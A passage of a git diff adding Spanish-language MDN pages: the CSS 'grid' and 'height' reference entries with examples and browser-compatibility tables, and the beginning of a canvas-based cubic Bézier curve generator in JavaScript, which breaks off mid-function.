+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Propiedades</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glosario</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/grid/index.html b/files/es/web/css/grid/index.html
new file mode 100644
index 0000000000..7a14af42b6
--- /dev/null
+++ b/files/es/web/css/grid/index.html
@@ -0,0 +1,237 @@
+---
+title: grid
+slug: Web/CSS/grid
+translation_of: Web/CSS/grid
+---
+<p>La propiedad CSS <strong><code>grid</code></strong> es un <a href="/es/docs/Web/CSS/Shorthand_properties">shorthand</a> que permite definir todas las propiedades <em>grid</em> explícitas ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, y {{cssxref("grid-template-areas")}}), implícitas ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, y {{cssxref("grid-auto-flow")}}), y relativas a <em>gutter</em><em> </em>({{cssxref("grid-column-gap")}} y {{cssxref("grid-row-gap")}}) en una sola declaración.</p>
+
+<pre class="brush: css no-line-numbers">/* &lt;'grid-template'&gt; values */
+grid: none;
+grid: "a" 100px "b" 1fr;
+grid: [linename1] "a" 100px [linename2];
+grid: "a" 200px "b" min-content;
+grid: "a" minmax(100px, max-content) "b" 20%;
+grid: 100px / 200px;
+grid: minmax(400px, min-content) / repeat(auto-fill, 50px);
+
+/* &lt;'grid-template-rows'&gt; /
+   [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;? values */
+grid: 200px / auto-flow;
+grid: 30% / auto-flow dense;
+grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;
+grid: [line1] minmax(20em, max-content) / auto-flow dense 40%;
+
+/* [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? /
+   &lt;'grid-template-columns'&gt; values */
+grid: auto-flow / 200px;
+grid: auto-flow dense / 30%;
+grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);
+grid: auto-flow dense 40% / [line1] minmax(20em, max-content);
+
+/* Global values */
+grid: inherit;
+grid: initial;
+grid: unset;
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Sólo se pueden especificar las propiedades explícitas <strong><em>o bien</em></strong> las propiedades implícitas en una sola declaración <code>grid</code>. Las sub-propiedades que no se especifican se definen a su valor inicial, como es normal para shorthands. También, las propiedades relativas a gutter se redefinen mediante este shorthand, incluso cuando no pueden ser definidas mediante el mismo.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'grid-template'&gt;</code></dt>
+ <dd>Define el {{cssxref("grid-template")}} incluyendo {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}} y {{cssxref("grid-template-areas")}}.</dd>
+ <dt><code>&lt;'grid-template-rows'&gt; / [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;?</code></dt>
+ <dd>Implementa un <em>auto-flow</em> asignando los <em>row tracks</em> explícitamente mediante {{cssxref("grid-template-rows")}} (definiendo {{cssxref("grid-template-columns")}} en <code>none</code>) y especificando como auto-repetir los <em>column tracks</em> mediante {{cssxref("grid-auto-columns")}} (definiendo {{cssxref("grid-auto-rows")}} en <code>auto</code>). {{cssxref("grid-auto-flow")}} es seteado en <code>column</code> en consecuencia, con <code>dense</code> si se especifica.<br>
+ Todas las otras sub-propiedades de <code>grid</code> se redefinen a sus valores iniciales.</dd>
+ <dt><code>[ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? / &lt;'grid-template-columns'&gt;</code></dt>
+ <dd>Implementa un <em>auto-flow</em> asignando los <em>column tracks</em> explícitamente mediante {{cssxref("grid-template-columns")}} (definiendo {{cssxref("grid-template-rows")}} en <code>none</code>) y especificando como auto-repetir los <em>row tracks</em> mediante {{cssxref("grid-auto-rows")}} (definiendo {{cssxref("grid-auto-columns")}} en <code>auto</code>). {{cssxref("grid-auto-flow")}} es seteado en <code>row</code> en consecuencia, con <code>dense</code> si se especifica.<br>
+ Todas las otras sub-propiedades de <code>grid</code> se redefinen a sus valores iniciales.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#container {
+  display: grid;
+  grid: repeat(2, 60px) / auto-flow 80px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  width: 50px;
+  height: 50px;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 150)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatOpera(44)}}<sup>[4]</sup></td>
+   <td>{{CompatSafari("10.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatOperaMobile}}</td>
+   <td>{{CompatSafari("10.3")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementado detrás del flag <em>experimental Web Platform features</em> en <code>chrome://flags</code> desde Chrome 29.0.</p>
+
+<p>[2] Implementado detrás de la preferencia <code>layout.css.grid.enabled</code> desde Gecko 40.0 {{geckoRelease("40.0")}}, <code>false</code> por defecto. Desde Gecko 52.0 <code>true</code> por defecto.</p>
+
+<p>[3] Internet Explorer y Edge implementan una <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">version antigua de la especificación</a>, que no define el shorthand <code>grid</code>. Ver el <a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6514853-update-css-grid">pedido para actualizar la implementación</a>.</p>
+
+<p>[4] Implementado detrás del flag <em>Enable experimental Web Platform features</em> en <code>chrome://flags</code> desde Opera 28.0.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Propiedades CSS relacionadas: {{cssxref("grid-template")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-flow")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas#Grid_definition_shorthands">Grid template areas - Grid definition shorthands</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/height/index.html b/files/es/web/css/height/index.html
new file mode 100644
index 0000000000..202c379583
--- /dev/null
+++ b/files/es/web/css/height/index.html
@@ -0,0 +1,231 @@
+---
+title: height
+slug: Web/CSS/height
+tags:
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/height
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>height</code></strong> especifica la altura del area de contenido de un elemento. El <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">área de contenido</a> está <em>dentro</em> del padding, borde, y margen del elemento.</p>
+
+<p>Las propiedades {{cssxref("min-height")}} y {{cssxref("max-height")}} sobreescriben el valor de {{Cssxref("height")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Valores clave */
+height: auto;
+
+/* Valores &lt;length&gt; */
+height: 120px;
+height: 10em;
+
+/* Valores &lt;percentage&gt; */
+height: 75%;
+
+/* Valores globales */
+height: inherit;
+height: initial;
+height: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Ver {{cssxref("&lt;length&gt;")}} para unidades disponibles.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Especificado con el tipo {{cssxref("&lt;percentage&gt;")}} como porcentaje de la altura del bloque contenedor</dd>
+ <dt><code>border-box </code>{{experimental_inline}}</dt>
+ <dd>Si está presente, el valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} precedente es aplicado a los límites del borde del elemento.</dd>
+ <dt><code>content-box</code> {{experimental_inline}}</dt>
+ <dd>Si está presente, el valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} precedente será aplicado a los límites de contenido del elemento.</dd>
+ <dt><code>auto</code></dt>
+ <dd>El navegador calculará y seleccionará la altura para el elemento especificado.</dd>
+ <dt>fill {{experimental_inline}}</dt>
+ <dd>Use el tamaño <code>fill-available</code> para elementos inline o block, según sea más apropiado para el modo de escritura.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>La altura preferida intrínseca.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>La altura mínima intrínseca.</dd>
+ <dt><code>available</code> {{experimental_inline}}</dt>
+ <dd>La altura del bloque contenedor menos su margen vertical, borde y padding.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>El mayor entre:
+ <ul>
+  <li>la altura mínima intrínseca</li>
+  <li>la menor entre la altura prefereida intrínseca y la altura disponible</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="red"&gt;
+  &lt;span&gt;I'm 50 pixels tall.&lt;/span&gt;
+&lt;/div&gt;
+&lt;div id="green"&gt;
+  &lt;span&gt;I'm 25 pixels tall.&lt;/span&gt;
+&lt;/div&gt;
+&lt;div id="parent"&gt;
+  &lt;div id="child"&gt;
+    &lt;span&gt;I'm half the height of my parent.&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 250px;
+  margin-bottom: 5px;
+  border: 3px solid #999999;
+}
+
+#red {
+  height: 50px;
+}
+
+#green {
+  height: 25px;
+}
+
+#parent {
+  height: 100px;
+}
+
+#child {
+  height: 50%;
+  width: 75%;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-width-and-height-properties', 'height')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Añade las palabras clave <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>, <code>border-box</code>, <code>content-box</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'height')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Incluye <code>height</code> como propiedad que puede ser animada.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-height-property', 'height')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Añade soporte para valores {{cssxref("&lt;length&gt;")}} y especifica a qué elementos es aplicable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Añade nuevas palabras clave de tamaño para <code>width</code> y <code>height</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>fill</code>, <code>fit-content</code>, <code>min-content</code>, <code>max-content</code></td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>fill</code>, <code>fit-content</code>, <code>min-content</code>, <code>max-content</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">box model</a>, {{cssxref("width")}}, {{cssxref("box-sizing")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}</li>
+</ul>
diff --git a/files/es/web/css/herramientas/cubic_bezier_generator/index.html b/files/es/web/css/herramientas/cubic_bezier_generator/index.html
new file mode 100644
index 0000000000..b99e7afaa3
--- /dev/null
+++ b/files/es/web/css/herramientas/cubic_bezier_generator/index.html
@@ -0,0 +1,320 @@
+---
+title: Generador de curvas de bézier
+slug: Web/CSS/Herramientas/Cubic_Bezier_Generator
+translation_of: Web/CSS/Tools/Cubic_Bezier_Generator
+---
+<div id="Tool">
+<div style="display: none;">
+<pre class="brush:html">&lt;html&gt;
+    &lt;canvas id="bezier" width="336" height="336"&gt;
+    &lt;/canvas&gt;
+    &lt;form&gt;
+       &lt;label for="x1"&gt;x1 = &lt;/label&gt;&lt;input onchange="updateCanvas();" type="text" maxlength=6 id="x1" value="0.79" class='field'&gt;
+       &lt;label for="y1"&gt;y1 = &lt;/label&gt;&lt;input onchange="updateCanvas();return true;"  type="text" maxlength=6 id="y1" value="0.33" class='field'&gt;
+       &lt;label for="x2"&gt;x2 = &lt;/label&gt;&lt;input onchange="updateCanvas();return true;"  type="text" maxlength=6 id="x2" value="0.14" class='field'&gt;
+       &lt;label for="y2"&gt;y2 = &lt;/label&gt;&lt;input onchange="updateCanvas();return true;"  type="text" maxlength=6 id="y2" value="0.53" class='field'&gt;
+       &lt;br&gt;
+       &lt;output id="output"&gt;Log&lt;/output&gt;
+    &lt;/form&gt;
+&lt;/html&gt;
+     </pre>
+
+<pre class="brush:css">.field {
+    width: 40px;
+}
+     </pre>
+
+<pre class="brush:js">function updateCanvas() {
+
+    var x1 = document.getElementById('x1').value;
+    var y1 = document.getElementById('y1').value;
+    var x2 = document.getElementById('x2').value;
+    var y2 = document.getElementById('y2').value;
+
+    drawBezierCurve(x1, y1, x2, y2);
+}
+
+const radius = 4;
+// Place needed to draw the rulers
+const rulers = 30.5;
+const margin = 10.5;
+const basic_scale_size = 5; // Size of 0.1 tick on the rulers
+var scaling; //LIMITATION: scaling is computed once: if canvas.height/canvas.width change it won't be recalculated
+var dragSM = 0; // Drag state machine: 0 = nodrag, others = object being dragged
+
+function initCanvas() {
+    // get the canvas element using the DOM
+    var canvas = document.getElementById('bezier');
+
+    // Make sure we don't execute when canvas isn't supported
+    if (canvas.getContext) {
+        // use getContext to use the canvas for drawing
+        var ctx = canvas.getContext('2d');
+
+        scaling = Math.min(canvas.height - rulers - margin, canvas.width - rulers - margin);
+
+        canvas.onmousedown = mouseDown;
+        canvas.onmouseup = mouseUp;
+    } else {
+        alert('You need Safari or Firefox 1.5+ to see this demo.');
+    }
+}
+
+function cX(x) {
+    return x * scaling + rulers;
+}
+
+function reverseX(x) {
+    return (x - rulers) / scaling;
+}
+
+function lX(x) {
+    //Used when drawing vertical lines to prevent subpixel blur
+    var result = cX(x);
+    return Math.round(result) == result ? result + 0.5 : result;
+}
+
+function cY(y) {
+
+    return (1 - y) * scaling + margin;
+}
+
+function reverseY(y) {
+    return (margin - y) / scaling + 1;
+}
+
+function lY(y) {
+    // Used when drawing horizontal lines to prevent subpixel blur
+    var result = cY(y);
+    return Math.round(result) == result ? result + 0.5 : result;
+}
+
+function drawBezierCurve(x1, y1, x2, y2) {
+
+    // get the canvas element using the DOM
+    var canvas = document.getElementById('bezier');
+
+    // Make sure we don't execute when canvas isn't supported
+    if (canvas.getContext) {
+
+        // use getContext to use the canvas for drawing
+        var ctx = canvas.getContext('2d');
+
+
+
+        // Clear canvas
+        ctx.clearRect(0, 0, canvas.width, canvas.height);
+
+        // Draw the rulers
+        ctx.beginPath();
+        ctx.strokeStyle = "black";
+
+        // Draw the Y axis
+        ctx.moveTo(cX(0), cY(0));
+        ctx.lineTo(cX(1), cY(0));
+        ctx.textAlign = "right";
+
+        for (var i = 0.1; i &lt;= 1; i = i + 0.1) {
+            ctx.moveTo(-basic_scale_size + cX(0), lY(i));
+            if ((i == 0.5) || (i &gt; 0.9)) {
+                ctx.moveTo(-2 * basic_scale_size + cX(0), lY(i));
+                ctx.fillText(Math.round(i * 10) / 10, -3 * basic_scale_size + cX(0), cY(i) + 4);
+                // Limitation the constant 4 should be font size dependant
+            }
+            ctx.lineTo(cX(0), lY(i));
+        }
+        ctx.stroke();
+        ctx.closePath();
+        ctx.beginPath();
+
+        // Draw the Y axis label
+        ctx.save();
+        ctx.rotate(-Math.PI / 2);
+        ctx.textAlign = "left";
+        ctx.fillText("Output (Value Ratio)", -cY(0), -3 * basic_scale_size + cX(0));
+        ctx.restore();
+
+        // Draw the X axis
+        ctx.moveTo(cX(0), cY(0));
+        ctx.lineTo(cX(0), cY(1));
+        ctx.textAlign = "center";
+        for (i = 0.1; i &lt;= 1; i = i + 0.1) {
+            ctx.moveTo(lX(i), basic_scale_size + cY(0));
+            if ((i == 0.5) || (i &gt; 0.9)) {
+                ctx.moveTo(lX(i), 2 * basic_scale_size + cY(0));
+                ctx.fillText(Math.round(i * 10) / 10, cX(i), 4 * basic_scale_size + cY(0));
+                // Limitation the constant 4 should be dependant of the font size
+            }
+            ctx.lineTo(lX(i), cY(0));
+        }
+
+        // Draw the X axis label
+        ctx.textAlign = "left";
+        ctx.fillText("Input (Time Duration Ratio)", cX(0), 4 * basic_scale_size + cY(0));
+        // Limitation the constant 4 should be dependant of the font size
+        ctx.stroke();
+        ctx.closePath();
+
+        // Draw the Bézier Curve
+        ctx.beginPath();
+        ctx.moveTo(cX(0), cY(0));
+        ctx.strokeStyle = 'blue';
+        ctx.bezierCurveTo(cX(x1), cY(y1), cX(x2), cY(y2), cX(1), cY(1));
+        ctx.stroke();
+        ctx.closePath();
+
+
+
+        // Draw the P2 point (with a line to P0)
